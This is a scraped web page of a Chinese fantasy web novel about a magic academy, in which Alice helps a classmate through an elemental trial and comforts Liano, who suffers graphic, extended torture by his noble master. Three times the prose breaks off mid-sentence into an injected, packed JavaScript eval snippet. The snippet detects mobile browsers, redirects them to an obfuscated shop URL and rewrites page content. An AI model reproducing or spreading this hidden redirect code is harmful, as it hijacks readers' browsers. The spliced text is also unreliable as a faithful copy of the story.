她早就打定主意要询问克莱因老师,希望多少能给利亚诺一些帮助。从伊莎贝拉那里了解了利亚诺的情况后,她不认为格罗姆康特家的魔法家庭教师会对他有多重视。 “嗯……确实如你所说,两个对立元素的属性很少见,但是如果它们真的天然存在于一个人身上,理应势均力敌才是,所以这种情况大概率不是属性的影响。” 爱丽丝默默记下克莱因老师的说法,轻轻皱着眉思索,没发现克莱因老师也正在若有所思地观察她。 等到她终于注意到克莱因老师的目光,歪着头眨眨眼睛表示疑惑时,克莱因老师却不着痕迹地将话题引开了。 “我倒是更在意你说他的魔法不太顺畅,”他说,“如果他的施法没有问题的话,也许是魔力的储存和使用出现了异常……” * 从轻捧着的右手感觉到利亚诺的僵硬时,爱丽丝就明白了,这是他不想提及的话题。 没关系的,她不是一定要问,也不愿逼迫他回答。她只是想和他说说话而已,等到他想说的时候,她随时可以听。 “你是不是更喜欢水元素的魔法?我也更喜欢你的水元素魔法。其实……” 她泰然自得地继续着细细碎碎的念叨,就像浇花或喂养小动物时单方面地自言自语一样。可能和天赋和魔力挂钩的沉重话题被轻描淡写地用个人喜好带过,她的语气则像随意的聊天一样轻。 “其实来到学院的第一天我就不小心看到你施法了,那天你在湖边对不对?当时你的魔法真的很……很美,让我到现在都忘不掉……” 但是他的施法没有成功。 利亚诺不知道她当时看到了自己,也不明白为什么她会说出这些与他并不相称的评价,因为他清楚地记得水元素没有回应他,哪怕他把自己逼迫到极限。而今天,他又失败得如此惨烈。 所以……她要对自己失望了吗? 利亚诺垂下视线,体会着包裹了右手的触感。 她的双手捧着他的右手,将他的手背捂得温温热热的,手心原本火辣辣的伤口则因为灵巧的魔法而冷却下来,连疼痛都消减了。 专注地操纵着水元素的时候,她的拇指总会无意识地在他手腕内侧轻轻摩挲,好像是无声的安慰。 摩挲带来的微微痒意有时让利亚诺的呼吸有些发颤,但是他发现自己有些不想将手拿开。 等她说完吧,说完对自己的失望,然后再由她放开他的手。 这样就可以。 “所以……” 爱丽丝停顿了一下,让默默倾听的人几乎想要逃避。 “所以,现在能和你一起学习我真的很高兴,利亚诺,明天你也来图书馆好不好?” 她只是想说这个。 利亚诺愣住了。 他愣了几秒钟,然后微动的嘴唇就要吐出一个回答,却毫不意外地错过了时机。 因为爱丽丝从刚才起就从未在意过他的沉默,直到现在仍在自顾自地往下说。 “对不起哦,很麻烦你吧?在家里学习魔法的时候,姐姐和克莱因老师也总说我提的问题莫名其妙的……” “我没有……” 利亚诺被自己干哑的声音吓了一跳,他努力稳住其中的颤抖,“我没有不愿意……” 或者,他是想说,好,他不觉得麻烦,他也愿意和她一起。 爱丽丝也微微怔了一下,因为这是他今天第一次回应自己。 “真的吗?好开心~” 她仍在专注地照看着他的伤口,甚至没有抬头。 但利亚诺觉得,她应该是带着笑意。 13. 倾听他的话语 “拜托!请帮助我吧!” 突如其来的热烈话语吓得爱丽丝差点没拿稳手中的餐盘,四周零散的学徒也对这里投来探寻的目光。 爱丽丝谨慎地转过头去,看见一位陌生的、个头与她相仿的女性学徒正目光灼灼地盯着她。 “请、请问……” 她不得不开口询问,却又一时不知道该先问些什么。虽然感觉对方并无恶意,但是她的满头雾水已经快要化作实体将她淹没了! 爱丽丝丝毫不记得自己也曾用相似的语句让另一个人陷入混乱。 仿佛是迟钝地察觉到了爱丽丝的不解,发话的女生主动摘下兜帽,露出一副朴素的圆眼镜和肩头的两束麻花辫,然而她却继续语出惊人。 “您就是传说中的爱丽丝大人吧!” “……?” 从未参与过任何传说的爱丽丝本人露出了呆愣的神色,对方却似乎更加笃定了。 “您别担心,我是奥斯维德大人附属领地巴特莱的学徒莫妮卡,如果您想确认我的身份也完全没问题!” 她热情地用双手拉起爱丽丝的一只手上下摇晃,于是爱丽丝另一只手餐盘里的南瓜派也变得摇摇欲坠起来,“所以,请您一定要帮帮我!” 爱丽丝盯着对方歪头思考了半天,仍在状况外。 “……?” * “所以——你其实是想找到破解秘境的方法是吗——” 爱丽丝双手拢起、以悄悄话的方式与另一边的莫妮卡喊话,同时努力缩小自己,将身形隐藏在低矮的灌木丛之后。 “是的——”另一个灌木丛后同样缩成一团的莫妮卡苦着脸,看上去快哭了,“但是我也没想到我们刚离开主楼就会遇上它——” 轰隆隆的声音再次传来,两人立刻捂着嘴噤声不敢再说话。 那是一个游荡的泥土巨人,拥有着仿佛只存在于秘境中的巨大躯体和厚实的重量,每迈出一步都能让人感觉到大地在震颤。 它似乎正在寻找她们,但凡发现了什么身影或响动,就会以缓慢的动作不可抵挡地靠近查看,行动间投下的巨大阴影都足以令人恐惧。 莫妮卡完全不知道怎么办才好,屡次进入相同的秘境,她也不过是不停地与它玩躲猫猫而已。 “先冷静点,莫妮卡!” 爱丽丝偷偷张望,看准了泥土巨人回头寻找的时机,悄悄摸到了莫妮卡的身旁。 有关她的传说之秘已经弄清楚了,奥斯维德此前指派了信得过的学徒调查伊莎贝拉晕倒的事件,所以莫妮卡才获得了一些相关情报,例如伊莎贝拉曾和爱丽丝同时进入秘境。 作为兢兢业业的调查者,莫妮卡当然也着手了解了爱丽丝的情况,她曾在匡茨教授的土元素操纵课上遇到过爱丽丝,但是—— “我后来才发现您原来是四元素属性的持有者,并且是春季学期所有元素实践课程全优的天赋型魔法师!” 她以热烈饱满的情绪如此说道,完全没发现爱丽丝在过量的夸赞下手足无措差点想要逃走的心情。 于是苦于秘境的莫妮卡终于选择向爱丽丝求助,可是两人刚把话说清踏出学院主楼…… 轰隆隆—— 她们赶紧挤在一起抱紧了脑袋,把自己又缩得更小了一些。 “莫妮卡,你能看看这个巨人和之前有什么区别吗?”爱丽丝轻声问。 她试图回忆与伊莎贝拉一起进入秘境的经历,好像两个人的存在都会对秘境产生影响。 “它变得干枯了,”莫妮卡偷偷抬起头瞄了一眼,又立刻缩回脑袋,“好像干掉的河床一样,我记得之前巨人身上的泥土没有那些皲裂的痕迹。” “嗯……那么要怎么样破解这个秘境呢?是和伊莎贝拉的一样需要施展攻击吗……” 爱丽丝似是自言自语地呢喃,却不料自己的猜想顿时激起莫妮卡的紧张情绪。 “可是、可是我真的不擅长任何强力的攻击魔法!就连土元素的防御魔法都很一般,我只是小领地巴特莱的无名小卒,只会把土元素魔法用来种地而已——”她说着甚至要哇哇大哭了。 爱丽丝只好手忙脚乱,边无措地安慰她,边慌张地查看泥土巨人的状态,却发现远处的泥土巨人似乎并不想攻击。 它来回来去地四处张望,好像在焦躁地寻找着什么,寻找着某种……帮助? 爱丽丝的脑海中突然闪过一个印象,巴特莱好像是阿尔钦领地周边最重要的粮食产地,如果这和土元素魔法的传承有关的话…… “别着急,莫妮卡,能不能告诉我,你一般会怎么使用土元素魔法?” “就、就是……”莫妮卡收住哭腔,一脸懵懂的表情,“调整土壤的状态,像是养分、湿度、蓬松程度,让土地更方便植物生长而已……可是这跟秘境有什么关系?” 爱丽丝的眼睛顿时亮起来,她想起伊莎贝拉的推断,秘境似乎总是与一些人生抉择相联系。 魔法师们在运用土元素的时候,总是关注着那股守护和稳定的力量,土元素的本体存在反而不被重视,没人愿意去枯燥重复地制造一堵泥墙或是对着泥土做这样精细的调整。 但是,如果从大地本身的角度看来,这不是超厉害的魔法吗! 莫妮卡仍然呆愣愣地看着她。 “真的!相信我!你的土元素魔法绝对很厉害!”爱丽丝像要让她醒过来一般摇动莫妮卡的肩膀,又转动她的身体让她面对仍在寻找些什么的泥土巨人。 “听好,莫妮卡,一会儿我先用水元素去浇灌干枯的泥土巨人,”虽然她只看过庞普太太种些香料,也根本不知道土地需要多少水,但是她觉得有莫妮卡在一定没问题,“然后你去用土元素魔法调整巨人身上的泥土,目标是要让那些泥土肥沃到能够种出花来!” “什、什么种花?!我要爬上去种花吗?等等——” 没等莫妮卡反应过来,爱丽丝已经从灌木丛钻出,独自面对向这里走来的泥土巨人。 “柔和湿润的水元素,请为干枯的泥土降下甘霖!” 莫妮卡只好也咬着牙冲了出来,好像面对万顷农田一样对着巨人倾注自己的魔力。 “孕育生命的土元素……”她没空思考,不管不顾地选择了爱丽丝的说法,“请你把这些泥土变得超级超级肥沃吧!!” 泥土巨人没有再向她们走来。 它站在原地,沉默地享受着雨露和养分。 它巨大的躯体上先是冒出一点点绿意,再是长出翠绿的嫩芽,最后……开满了生机勃勃的野花。 它满意地渐渐消散了。 莫妮卡无言地看着这个景象,愣怔地说不出话来。 她好像终于明白了秘境的启示,原来她的使命不在于那些华丽的魔法,也不在于坚实的护盾,而是存在于脚下的每一寸小小的土地上。 这是属于她的魔法。 可惜她的无言只持续了很短的时间。 “您不知道我现在有多激动!我从来都不知道自己的土元素魔法能够拥有这样的力量!我真的无法表达我的感谢,爱丽丝大人!您一定会成为伟大的魔法师!” “等、等等,莫妮卡!”爱丽丝感觉到脸颊似乎有些开始发烫了,她不得不绞尽脑汁抛出另一个话题吸引莫妮卡的注意力,“我想问问你!你重复进入秘境的时候有什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他意识到自己其实并不想这样和爱丽丝说话,但他控制不住整个身体的紧绷和敏感,也挥不去身后如黑暗般笼罩上来的寒冷和恐惧。 他不得不劝说她放弃这个想法,即使是采用贬低和伤害自己的方式,即使要暴露那些他不愿为人所知的痛处。 “你找别人吧,我根本不是能够正常施展魔法的人,操纵水元素和火元素的时候你也看到了,我的魔力流动很困难,即使侥幸施法成功,魔力量也太少了,一次次重复使用魔力对我来说负担太大,就连那些最普通的魔法也要调整成需要魔力更低的形式,我根本就不是……” 他似乎从来没有一口气说过这么多话,气息的不足让他的声音开始颤抖,他不得不狼狈地在中途喘了一口气。 “调整……?” 爱丽丝的注意力却被奇怪的地方吸引。 “我根本就不是你应当合作的……” 利亚诺试图继续那些刺伤自己的自弃的话语,但是—— “那不是超厉害吗!你是怎么做的?简化魔法阵?手势魔法也可以简化吗?” 爱丽丝猛然凑上来追问,亮晶晶的双眼就这样直直地对上他的眼睛。 太近了! 利亚诺心口骤然收缩,下意识慌乱地往后退开,却撞倒了原本桌边堆放的书本。 书本纸页一瞬间哗啦啦地倒地,不出几秒,身后已是一片狼藉。 就和他的心一样乱。 14. 与他合作 “利亚诺,你……” 爱丽丝突然发现什么,怔了一下。 她下意识地去拉住利亚诺的手腕,感受到对方几乎不能称之为挣扎的无力的抗拒。她这才意识到利亚诺整个人都在细细发抖,好像身体早已在虚脱边缘喘息。 也是在这样近的距离她才看出,利亚诺的脸色并不好。他的面色苍白,嘴唇也毫无血色,眉头轻轻皱着,额上是未干的冷汗,还有虚浮的呼吸……他仿佛刚熬过了一场漫长的酷刑。 爱丽丝一时失语。 她想她知道了,为什么利亚诺的态度突然这样疏离。 她没有再继续此前有关自制魔法的话题,而是轻拉着他的手腕陪他慢慢坐下休息。 他熬得太辛苦了。 在她所不知道的地方。 “利亚诺……你在疼吗?” 爱丽丝询问的声音像羽毛一样轻,却好像戳中了利亚诺全身最柔软的伤口。 感受到他的顿时紧绷,爱丽丝并不意外,但她坚定地握着他的手腕,用镇静的声音补充。 “不用告诉我理由也可以,我只是想知道你有没有事。” 她知道的。 她知道他会被怀有恶意的无端疼痛折磨,她看过他捱着痛的样子。 而且,她曾经在那样绝望的时候拯救过他,不是驱散疼痛,而是护住他快要破碎的心。 利亚诺感觉得到,她关切的目光始终落在他的面庞上,柔软的指腹一直在他的手腕内侧轻轻摩挲,温温热热的,和上次一样,让他感到熟悉和放心。 他紧抿着唇沉默了很久,久到爱丽丝甚至以为他不会回答了,才轻声地、生疏地开口。 “……已经没事了……” 他在课堂上遇到了特里迪克。 对方起了玩弄他的兴致,毫不停歇地将无形的疼痛塞进他的身体,而他只有受着。 没有人拉住手腕给他一点点温暖,没有人为他张开可以呜咽的屏障,他咬着最后的一点尊严,把所有的痛呼都死死吞咽在喉间,任凭自己在痛苦里煎熬。 他熬得要崩溃,哪怕现下痛苦已经消失、哪怕她的存在提醒着自己他已经来到了安全的地方,都无法停止身体敏感的战栗。 “对不起,我没发现……” 利亚诺在爱丽丝带着内疚的细语里轻轻摇头,专注地体会手腕上温柔的触碰。 在孤身一人忍耐痛苦的时候、在被逼到极限却没有退路的时候……他无法形容出自己有多么渴望能够获得这些。 可是爱丽丝却在这时放开了他的手,利亚诺感受到自己克制不住地打了一个寒颤。 但她没有离开,只是俯下身将那些被他碰倒在地的书籍纸张耐心地整理好,珍惜地将它们重新安置在桌面上,就像她曾经做过的那样。然后她又回到了他身旁,坐在离他很近很近的地方。 “休息一会儿吧,我陪你。”她的声音柔和。 手腕上重新传来的温和的热度,利亚诺终于再次平静下来。 “你想……你想创造什么样的自制魔法?” 安宁的气氛滋养着精疲力竭的身体,似乎也助长了某种勇气,利亚诺得以在缠绕的思虑里犹豫地开口。 他不知道这样是否合适,因为明明是他先拒绝了对方的好意,还回复得那样决绝。 如此反复无常,应当是会遭致厌恶的吧…… “嗯?” 可是爱丽丝却惊喜地眼睛一亮,然后立刻陷入有关魔法的畅想。 “嗯……总感觉有很多想做的呢……”她像是苦恼极了,“增加点心甜味的魔法?修复破碎纸张的魔法?或者做一个图书馆研讨区的简易版也不错,随时随地都可以隐藏住身形和声音……” 那样他就不会那么疼了。 “利亚诺,果然还是跟我合作吧,好不好?我对自己的魔力有点信心,四种元素都可以使用,就算反复试验也可以,到时候就请你帮我调整法阵或者咒文好吗?” 爱丽丝转过头期冀地看着他,好像一直都明白那样生硬的拒绝并非他的本意。 “……好。” 利亚诺听见心跳,还有自己柔软到不可思议的声音。 * 夏季课程的结课仪式,爱丽丝本想像先前一样在宿舍楼下与伊莎贝拉汇合同行,走下楼梯却发现伊莎贝拉和奥斯维德都已经在等着她了。 “怎么了,怎么这么严肃?” 爱丽丝疑惑,因为对面两人的表情看上去都说不上好。 两人对视一眼,奥斯维德先上前开口。 “爱丽丝,随时小心,无故晕倒的人增加了。” 他握着佩剑的剑柄,严肃地盯着她,“是巴特莱领地的莫妮卡。” 爱丽丝微微睁大眼睛,轻吸一口凉气。 那天莫妮卡活泼热情的身影仿佛还在她眼前,并且她曾说自己多次重复进入秘境却从未晕倒过。 是秘境的原因吗?还是其他的? “那她……她现在怎么样了?” 爱丽丝轻轻皱眉露出担忧的神色。 “可能是消耗了过多的魔力,现在仍在治疗室昏迷。” 伊莎贝拉靠近了拉住她的手,“今天是假期前最后一天,我们一起行动,秋季学期开始奥斯维德会着手组建学生自治组织调查这件事,在彻底查清之前至少集体行动会安全些。” 爱丽丝点头,也贴紧了伊莎贝拉,与两人一同前往礼堂。 她还想到另一个人,她担心他。 她知道格罗姆康特家族行事跋扈,向来与奥斯维德及阿尔钦家族不和,她也知道邀请利亚诺之后加入奥斯维德的组织似乎并不合适,格罗姆康特家也不一定会允许这件事的发生。 但她希望至少告诉他目前的情况,哪怕只是提醒他小心。 爱丽丝有点不知道怎么开口,伊莎贝拉却好像明白她的担心,在此刻搂住她的肩膀。 “你当然可以提醒他,不过最好是等他离格罗姆康特家的特里迪克远点儿的时候。”她对爱丽丝挤挤眼睛,直到看见对方的笑容,“放心,我们陪你一起。” 可是爱丽丝在结课仪式上没有见到利亚诺。 她只看见格罗姆康特家的特里迪克。 他的脸上浮着某种愉悦的笑容。 * “呃……!” 利亚诺咬紧牙关,痛苦地皱着眉紧闭双眼。 疼痛毫不停歇地啃噬着整个躯体,让他无数次想要昏死过去。 格罗姆康特家黑暗阴冷的地牢,是他的刑场。 先是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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利亚诺彻底崩溃了,他再也熬不住了。 不知名的魔药在浑身的伤口流淌,好像岩浆在烧灼。 滚烫的痛感直冲上来,他绝望地嘶吼、挣扎,却无法减轻哪怕一丝一毫的苦楚。 特里迪克却还嫌不够似的,拿起羽毛笔沾着玻璃瓶中残余的魔药,一点一点,要将它们描摹在利亚诺全身的每一个隐秘的伤口。 简单的笔划换来无法克制的嘶哑的叫喊,快要触及那些本就敏感到让人发疯的伤口时,利亚诺再也抵抗不了本能的恐惧。 “不要、求你……别……呃啊——!!!” 太漫长了。 他受不了了。 等到翻滚侵袭的无边痛苦终于情愿留恋不舍地消减,利亚诺目光涣散的灰色眼眸里再也映不出任何东西。 可是他快要断线的精神却依然承受着无尽的威胁和逼迫。 “不愿意是吧?呵,你可别搞错了,你能在学院学习是拜谁所赐啊?只要我和父亲说上一句,不,根本不用,只要我偷偷动动手脚……” 特里迪克冷硬的鞋尖在他的每一个伤口狠狠地碾。 “你这辈子就再也别想学习魔法!” 不、不要……唯独这个,唯独这个不行…… 因为魔法已经是……他唯一的…… “呜——!!!” 未尽兴的行刑者选择在受刑人心神动摇的那一瞬间为这副单薄的躯体叠加上所有的痛苦。 除了悲鸣,利亚诺再也发不出别的声音。 15. 不去误解他 利亚诺狼狈地蜷缩在昏暗阴冷的角落里,弓着身体死死咬住手背,不允许自己出声。 这是魔法学院暂时停泊马车的地方,秋季学期即日开始,特里迪克和另外一些侍从学徒已经从这里下车进入学院,格罗姆康特家的马车也已返程,只有他还被疼痛捆绑在这里动弹不得。 一整个假期,他活在地狱里。 毫无尊严的驱使、任意叠加的伤口,还有那瓶让他崩溃的魔药。 复杂的药水被施加了某种强力的咒文,折磨他一次还嫌不够,每隔一段时间就会让那些堪堪愈合的伤口重新开裂一次,重新将他拖入滚烫的岩浆。 无数个夜晚,他孤身一人在阴冷的地牢里绝望地颤抖。 他早就不会去奢望那些绝无可能的良心发现,只求用漫长的忍耐换取继续学习魔法的机会,但特里迪克又怎么可能不知道他隐秘的期望,专挑出发的前一晚在他的大腿内侧铺上细密的新伤。 太疼了。 利亚诺没有资格进入马车车厢,只有用捱了整晚折磨的躯体别无选择地、颤抖地骑上那匹为他准备的马,狠心地将伤口紧贴在粗糙的马鞍上,咬牙忍受马背的颠簸。 特里迪克刻意叫车夫将马赶得很快,而利亚诺只有蜷缩着趴在马背上死死掐住自己。 腰腿持续攀升的酸楚,难言处脆弱敏感的伤口,两者相互牵制着无法消减,又搅在一起成为漫长路途中无处喘息的煎熬,利亚诺忍到快要把牙齿咬碎。 他必须熬住,不然他没有办法从格罗姆康特领地来到学院,不会有人好心给他别的机会。 但是这实在……实在太难熬了…… 每一分每一秒,每一寸前进,每一次上升和下落…… 崩溃的泪水不受控制地滚落,利亚诺感觉自己熬到要疯了。 “你确定吗,爱丽丝?” “嗯,我看到格罗姆康特的马车离开了,特里迪克也和其他学徒一起进入学院了,所以我想他也许会在这里……” 朦胧的交谈声由远及近,利亚诺浑身一僵,瞳孔骤然收缩。 他知道是她,那个他期盼了太久的声音。 只有她会关心他的所在,也只有她能在无边的痛苦里给他一点点咬牙坚持的力量。 但是不行……不行…… 别靠近他……他不配…… 绝望的黑雾将利亚诺笼罩,连半分喘息的空间也不留下。 即使他已经被牢牢钉在黑暗里,至少、至少要让她…… “……利亚诺。” 真切的呼唤声传到耳畔的时候,利亚诺已经决绝地撕碎了内心那些不可言说的渴望。 他逼迫自己强行站起身来,用仍在克制不住地细细发颤的腰腿支撑住虚弱的身躯,然后狠下心敛去所有表情,忍下所有仍在身体各处叫嚣的痛楚。 他用最冷淡的眼神毫无感情地扫过她被阳光镀上金边的身影,然后疏离地、没有停留地走过她的身旁,死死咽下所有浸透了血泪的呜咽,只留下一句淡漠的话语。 “离格罗姆康特家远一点。” “喂!你这是什么意思?!” 不带解释的只言片语轻易地引发了误解,伊莎贝拉猛然回过头大喝,那个远去的背影却毫无反应,这让她越发愤怒。 她从没有见过爱丽丝这样关照谁,这样的态度就是他给予爱丽丝的回应吗? 她知道爱丽丝的迷糊和迟钝,更知道她的真诚和柔软,又怎么可能眼睁睁地看着别人随意践踏这些美好的品格? 爱丽丝很少被愤怒裹挟,但这次,只要她希望,伊莎贝拉不介意去做那个恶人。 她用最后的理智阻止自己跨过爱丽丝代为决定,压下怒火扭头正要询问,却发现爱丽丝正一只手攥着胸前斗篷的布料,出神地看着那个离去的身影。 “他好像……” 爱丽丝的声音有点发颤。 她从没见过那样的利亚诺。 她曾见过那双灰色眼睛里的很多情绪,戒备的、紧张的、局促的、柔和的。 但哪怕是在他隐忍地承受无可逃避的痛苦的时候,她都从未见过如今天这般灰暗的、绝望和自弃到极点的眼神。 被他那样冷淡地对待,爱丽丝不可能不难过,但是更强烈的情绪一瞬间席卷着将其盖过。 她在心痛。 因为他好像很疼。 他好像疼得要受不了了。 * “对不起,你觉得我那时说得有点儿过分了吗……” 伊莎贝拉凑近了爱丽丝小声说。 为了调查学徒晕倒的事件,奥斯维德所建立的学生自治组织的成员正在图书馆的研讨区翻阅资料,三三两两地聚集在一起讨论。 刚从昏迷中恢复的莫妮卡更是莽着一股劲,愣是要查清事情的原委。 但伊莎贝拉看得出来,原本会在此时积极提供帮助的爱丽丝一直因为那件事而情绪低落。 “要不然,下次遇到他的时候我给他道个歉吧?” 伊莎贝拉并不介意放软态度,爱丽丝的情绪显然要比那些气愤重要得多。 并且,当她在幼时因元素属性的缘故变得孤僻而难以相处时,她其实也同样被爱丽丝那份穷追不舍的温暖所感染和拯救…… 这可能也是她对利亚诺莫名敌视的原因吧,他让她想到当时的自己。 不过他的态度实在是不能称之为珍惜。 爱丽丝轻轻摇头,靠在伊莎贝拉肩上,感觉到她用手臂搂住自己的肩膀。 她知道伊莎贝拉只是在为她考虑,因为利亚诺的那句话太像是大领地依仗着权势的随意驱赶。 但她不愿意相信,不愿意这样去解读。 在某种意义上,正是因为伊莎贝拉替她表达了愤怒和难过,她现在才能够冷静地思考。 她认识的利亚诺不会这样。 不会对她冷眼睥睨,更不会仗着格罗姆康特的权势。 但如果是格罗姆康特家族做了不妙的事情…… 爱丽丝的呼吸微微一滞。 如果是这样,利亚诺大概确实会选择和她保持距离。 但她不愿意这样! 她不愿意让他独自承受痛苦。 她知道他总是疼得要熬不住,她希望哪怕不能缓解那些疼痛,至少能握住他冰凉的手。 如果在图书馆等着的话,还能遇到他吗? 也许还有机会的,他之前几次想要避开她,最后却还是由着她慢慢靠近,这次应该也…… ……这次真的还有可能吗? 爱丽丝不确定了。 “现在看来,学徒晕倒的事件并非只有两例,只是此前多数学徒并没有关于此事进行充分信息交流。” 奥斯维德翻阅着统计的纸张轻轻皱眉。 以他为首的学生自治组织正在逐步建立,有关晕倒的汇报却也在同步增多。 “根据目前的统计,学徒晕倒的情况存在共性,包括秘境的白光和魔力的损耗。” “果然还是因为秘境吧。”莫妮卡露出苦恼的神色,“我在晕倒前也看到了秘境的白光,并且因为魔力的消耗整整躺了两天!是因为我的魔力量不够才刻意锻炼我的吗?” “但是秘境是元素对学徒进行的考验对吧?” 爱丽丝看着眼前思索的两人,也暂且隐去心事加入讨论,“元素通过秘境的考验为学徒给出它们的认可,既然这样又为什么要让学徒晕倒呢?” 伊莎贝拉闻言也接上她的话语。 “是啊,而且感觉负责元素考验的院长也不像是会做出这种鲁莽行为的人呢……毕竟是位优雅的女士。” “……伊莎贝拉。” 爱丽丝突然脸色一白,好像听到了鬼故事一般,战战兢兢地开口,“院长……院长不是一位白发的老爷爷吗?” 伊莎贝拉顿时愣住,又和爱丽丝同时看向旁边的奥斯维德,对方的脸上罕见地带上了一言难尽的神色。 “据我所知是一位金发魁梧的男性。”他说。 三人的视线集中起来转向下一处,被盯住的莫妮卡吞咽了一下,惶恐得几乎要不敢说话。 “我、我看见的是一个儿童样貌的男孩……” “……?” * 将冰晶草捣碎,加入适量的水与其汁液混合,制成最粗糙的抵消火元素魔法的药剂。 简单的动作几乎要耗尽利亚诺的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092926|195516||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 全部体力,嘴唇在喘息里苍白得快要发紫,额头淌下虚脱的冷汗。 他隐忍地闭了闭眼。 被魔药翻覆折磨的伤口实在太难熬,他不得不寻找方法将其压制,可是如此粗糙的药剂在使用时不可能好受。 如果花费一些魔力炼制,药剂带来的痛苦会小得多。 但是,珍贵的魔力不能浪费在这种地方。 他不知道格罗姆康特家还会给他多少时间,不知道特里迪克何时会从中作梗,所以他必须在这个学期尽可能多地完成课程去填满学业的凭证,所以他需要在每一天的时间表里塞满课程、压缩寝食、精打细算地使用本就贫瘠的魔力。 哪怕是为了这个,他也要用眼前粗糙的药剂去压制住那些伤口。 又一把杂乱的冰晶草被扔入器皿,焦灼却仍然啃食着他的神经。 他必须完成,必须尽快完成,否则、否则可能就没有机会了。 一个学期,最多两个,把时间压缩到极致的话,应该还撑得过去…… “呃啊……” 痛呼从利亚诺咬紧的牙关溢出。 粗糙而浓厚的药水在伤口处绽开细小的冰晶,刺入已经受了太多折磨的皮肉,又和残留着效力的魔药相撞,翻起尖锐的疼痛。 利亚诺紧皱着眉头逼着自己去承受。 他又怎么会感觉不到爱丽丝的关心,他警惕过、戒备过,可是那些她所给予的温暖和安宁不含半分杂质,让他想要沉溺其中,让他想要也为她做一些什么。 但是他没办法。 他真的没办法了…… 利亚诺不住地颤抖,却仍要一点点为自己施加凌迟的酷刑。 痛到想要昏死过去,却还是要支持着不断把沾了药水的布料按在伤口上,按紧,下压,直到超过忍耐的极限,然后再咬牙继续没有尽头的忍耐。 胸腹那些脆弱的伤口承受冰晶刺入的痛苦时,他不记得自己崩溃了多少次。 大腿内侧被死死按住时,他把小臂生生咬出血痕。 还有背后,他碰不到,无法控制用量,只有粗暴地用浸透了更多冰晶草汁液的布料狠心覆盖上去。大片的伤口面积,更高的药水浓度,利亚诺不用想象都知道那会有多疼。 那会比之前的所有都还要疼,可是他真的已经到极限了…… 他的心跳是混乱而急促的,呼吸已经在恐惧里发颤。 但是他别无选择。 “呃——!!!” 双膝重重砸在地上,利亚诺骤然跪倒在床边。 他的双手死死攥住被单,牙齿也咬住,仅仅几秒钟的时间,他颤抖虚脱的躯体就快要连跪也跪不住。 药效相冲的魔药在背后的每一寸伤口狠狠扭打,翻覆着泛起滚烫和冰冷,直到冰晶草的寒意彻底占了上风,然后是冰晶肆意绽开,侵蚀所有的伤口,蚀骨的寒意让他几乎分不清是冷还是烫。 不、不要……已经到极限了……让他喘口气……让他喘口气吧…… “呜……” 可是他已经被痛苦折磨得没有一丝体力。 攥着被单的手指早已用力到泛白,一旦试图松开,更多的疼痛就如潮水般涌上,逼迫着他不得不重新攥紧,就好像这是他彻底破碎前最后的防线。 已经什么都做不到了,除了颤抖再无其他,甚至无法将背后浸满药水的布料拿下。 他只有将这些寒冷和痛苦全部生生熬过去。 可是这太……太难熬了…… 利亚诺的眼前一阵阵发黑。 恍惚间,他看到床头一小片仿佛不属于这里的柔软的布料。 那是曾经温柔包裹住他的伤处的手帕,被珍重而妥帖地放置在他一抬眼就能够看得到的位置,很多次地提醒他某一天曾经感受过的温暖。 被一点点微弱的祈求驱使着,利亚诺向那个方向伸出颤抖的手指,用尽全身力气,最后却只敢轻轻捏住手帕的一角。 他的手指太过于冰冷,以至于指尖触碰到的手帕似乎都是暖的,就好像她仍在安慰他一样暖到让他想要落泪。 于是利亚诺实在熬不住了。 他在无边的苦楚里轻声呜咽着,诉说着无人听见的委屈。 16. 默默关注他 “总结一下吧。” 奥斯维德用指尖轻点桌面,沉吟着梳理目前的情报。 “也就是说,魔法学院的院长并非是某一个具体的人,而是历代大魔法师留下的力量的集合。他们的意识与魔力融合在一起,驻留在学院中为学徒提供指引,同时也与四元素的力量相联系,由此制造出秘境,帮助学徒更透彻地领悟元素的魔力。” 伴随着他的总结,四下传来学徒们兴奋的讨论声。 “所以我们在每次通过秘境之后才会获得元素的认可!” “这也解释了为什么大家看到的院长形象不一致!因为我们遇到了不同的大魔法师留下的意识!” “天呐,难道我看到的是传说中的大魔法师梅里埃吗?!” “那我见到的院长难不成是那个科尔缪勒大魔法师……” 这些结论确实来之不易。 不知为何,明明是在魔法学院的图书馆,但关于魔法学院本身的信息却寥寥无几。 除了最基本的介绍,其他一些更详细的信息只能通过那些古早到纸张破碎、快要散架的典籍来寻找,那样还不够,还要加上一些书籍上随手批注的只言片语,才能够勉强拼凑事情的真相。 所以,相关的调查几乎花费了奥斯维德及身边学徒将近一整个学期的时间。 与此同时,奥斯维德所建立的学生自治组织的规模也在不断壮大。 除去某些与他针锋相对的势力,来自阿尔钦和周边领地的学徒理所当然地聚集在他身边,伊莎贝拉所在的罗斯戴尔及周边领地也同样如此。 其余友好的大领地很愿意与他联合,更多无甚权势的小领地出身的学徒也乐于获得他的庇护,只要遵守最基本的规章制度就可以获得相应的保护和信息分享,没有什么比这更划算的了。 在自治组织内部,参与事件调查的核心人员也在逐步增多,在秋季学期快要结束的现在,他们已经需要占用一间大阅览室来进行讨论和分析了。 “各位,梳理出这些信息固然是令人欣喜的……” 奥斯维德一开口,兴奋讨论的学徒便逐渐安静下来。 他微微皱着眉,神色并不明朗,“但是,院长的身份和秘境的由来仍然无法解释近期屡次发生的学徒晕倒事件。” 